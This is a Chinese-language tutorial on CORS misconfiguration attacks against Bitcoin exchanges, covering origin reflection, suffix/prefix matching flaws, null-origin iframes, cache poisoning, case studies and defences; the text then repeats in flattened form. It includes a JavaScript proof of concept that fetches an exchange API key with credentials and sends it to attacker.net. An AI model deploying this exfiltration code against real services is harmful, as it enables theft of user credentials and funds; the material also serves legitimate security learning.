如何利用CORS配置错误漏洞攻击比特币交易所
字数 1467 2025-08-29 08:32:30

利用CORS配置错误漏洞攻击比特币交易所 - 详细教学文档

1. CORS基础概念

1.1 同源策略(SOP)

同源策略是浏览器实施的安全机制,限制来自不同源的文档或脚本如何交互。同源定义为协议、域名和端口完全相同。

1.2 CORS机制

跨源资源共享(CORS)是一种放宽同源策略的机制,允许不同源的网站通过浏览器进行通信。

2. CORS安全配置

2.1 基本CORS头部

  • Access-Control-Allow-Origin: 指定允许访问资源的源
  • Access-Control-Allow-Credentials: 允许跨域请求携带凭据(cookie等)

2.2 危险配置模式

  1. 通配符配置:

    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true
    

    这种组合会被浏览器拒绝,是规范中的安全措施。

  2. 动态Origin反射:
    服务器根据请求中的Origin头部动态生成响应头,存在安全隐患。

3. CORS配置错误攻击技术

3.1 凭证窃取攻击

攻击条件:

  • 服务器动态反射Origin
  • 允许凭据传输(Allow-Credentials: true)

攻击步骤:

  1. 构造恶意页面发送跨域请求
  2. 窃取API密钥或敏感数据

示例POC代码:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();

function reqListener() {
  location='//attacker.net/log?key='+this.responseText; 
};

3.2 Origin验证缺陷

  1. 后缀匹配漏洞:

    • 信任所有以特定字符串结尾的域名
    • 例如信任advisor.com也会信任definitelynotadvisor.com
  2. 前缀匹配漏洞:

    • 信任所有以特定字符串开头的域名
    • 例如信任https://btc.net也会信任https://btc.net.evil.net

3.3 null Origin攻击

触发条件:

  • 服务器将null列入白名单
  • 可通过沙箱iframe获取null Origin

攻击方法:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src='data:text/html,<script>/*cors stuff here*/</script>'>
</iframe>

3.4 协议不匹配攻击

  • HTTPS站点接受HTTP源的CORS请求
  • 可通过MITM攻击绕过HTTPS保护

4. 缓存相关攻击

4.1 客户端缓存中毒

攻击条件:

  • 存在反射型XSS漏洞
  • 未设置Vary: Origin头部
  • 响应可被缓存

利用方法:

  1. 通过CORS发送恶意请求
  2. 恶意响应被缓存
  3. 受害者访问时从缓存加载恶意内容

4.2 服务器端缓存中毒

攻击条件:

  • 存在HTTP头部注入漏洞
  • 服务器不检查Origin中的非法字符

IE/Edge特有攻击:

  • 发送包含\r的Origin头部
  • IE/Edge会将其视为头部终止符
  • 可导致字符集修改等攻击

5. 实际案例分析

5.1 比特币交易所攻击案例

  1. 案例1:

    • 动态反射任意Origin
    • 可窃取API密钥
    • 攻击者可转移比特币、启用2FA锁定账户
  2. 案例2:

    • 信任null Origin
    • 可窃取钱包加密备份
    • 可进行离线暴力破解
  3. 案例3:

    • 前缀匹配漏洞
    • 网站突然关闭(可能已被攻击)

6. 防御措施

6.1 安全配置建议

  1. 严格Origin验证:

    • 维护精确的白名单
    • 避免动态反射
    • 避免通配符和null
  2. 必要头部设置:

    Vary: Origin
    Access-Control-Allow-Origin: https://trusted.example.com
    
  3. 协议一致性:

    • HTTPS站点只接受HTTPS源的请求

6.2 开发建议

  1. 避免动态生成CORS头部
  2. 实施严格的输入验证
  3. 考虑使用代理服务器处理跨域请求

7. 工具检测

  • Burp Suite扫描器可识别文中讨论的所有缺陷
  • 手动测试Origin反射和null Origin

8. 总结

CORS配置错误可能导致严重的安全问题,特别是当与凭证传输结合时。开发人员应严格验证Origin,避免动态反射,并理解规范中的安全限制。攻击者可以利用这些漏洞窃取敏感数据、绕过安全控制,甚至直接窃取加密货币资产。

利用CORS配置错误漏洞攻击比特币交易所 - 详细教学文档 1. CORS基础概念 1.1 同源策略(SOP) 同源策略是浏览器实施的安全机制,限制来自不同源的文档或脚本如何交互。同源定义为协议、域名和端口完全相同。 1.2 CORS机制 跨源资源共享(CORS)是一种放宽同源策略的机制,允许不同源的网站通过浏览器进行通信。 2. CORS安全配置 2.1 基本CORS头部 Access-Control-Allow-Origin : 指定允许访问资源的源 Access-Control-Allow-Credentials : 允许跨域请求携带凭据(cookie等) 2.2 危险配置模式 通配符配置 : 这种组合会被浏览器拒绝,是规范中的安全措施。 动态Origin反射 : 服务器根据请求中的Origin头部动态生成响应头,存在安全隐患。 3. CORS配置错误攻击技术 3.1 凭证窃取攻击 攻击条件 : 服务器动态反射Origin 允许凭据传输(Allow-Credentials: true) 攻击步骤 : 构造恶意页面发送跨域请求 窃取API密钥或敏感数据 示例POC代码 : 3.2 Origin验证缺陷 后缀匹配漏洞 : 信任所有以特定字符串结尾的域名 例如信任 advisor.com 也会信任 definitelynotadvisor.com 前缀匹配漏洞 : 信任所有以特定字符串开头的域名 例如信任 https://btc.net 也会信任 https://btc.net.evil.net 3.3 null Origin攻击 触发条件 : 服务器将 null 列入白名单 可通过沙箱iframe获取null Origin 攻击方法 : 3.4 协议不匹配攻击 HTTPS站点接受HTTP源的CORS请求 可通过MITM攻击绕过HTTPS保护 4. 缓存相关攻击 4.1 客户端缓存中毒 攻击条件 : 存在反射型XSS漏洞 未设置 Vary: Origin 头部 响应可被缓存 利用方法 : 通过CORS发送恶意请求 恶意响应被缓存 受害者访问时从缓存加载恶意内容 4.2 服务器端缓存中毒 攻击条件 : 存在HTTP头部注入漏洞 服务器不检查Origin中的非法字符 IE/Edge特有攻击 : 发送包含 \r 的Origin头部 IE/Edge会将其视为头部终止符 可导致字符集修改等攻击 5. 实际案例分析 5.1 比特币交易所攻击案例 案例1 : 动态反射任意Origin 可窃取API密钥 攻击者可转移比特币、启用2FA锁定账户 案例2 : 信任null Origin 可窃取钱包加密备份 可进行离线暴力破解 案例3 : 前缀匹配漏洞 网站突然关闭(可能已被攻击) 6. 防御措施 6.1 安全配置建议 严格Origin验证 : 维护精确的白名单 避免动态反射 避免通配符和null 必要头部设置 : 协议一致性 : HTTPS站点只接受HTTPS源的请求 6.2 开发建议 避免动态生成CORS头部 实施严格的输入验证 考虑使用代理服务器处理跨域请求 7. 工具检测 Burp Suite扫描器可识别文中讨论的所有缺陷 手动测试Origin反射和null Origin 8. 总结 CORS配置错误可能导致严重的安全问题,特别是当与凭证传输结合时。开发人员应严格验证Origin,避免动态反射,并理解规范中的安全限制。攻击者可以利用这些漏洞窃取敏感数据、绕过安全控制,甚至直接窃取加密货币资产。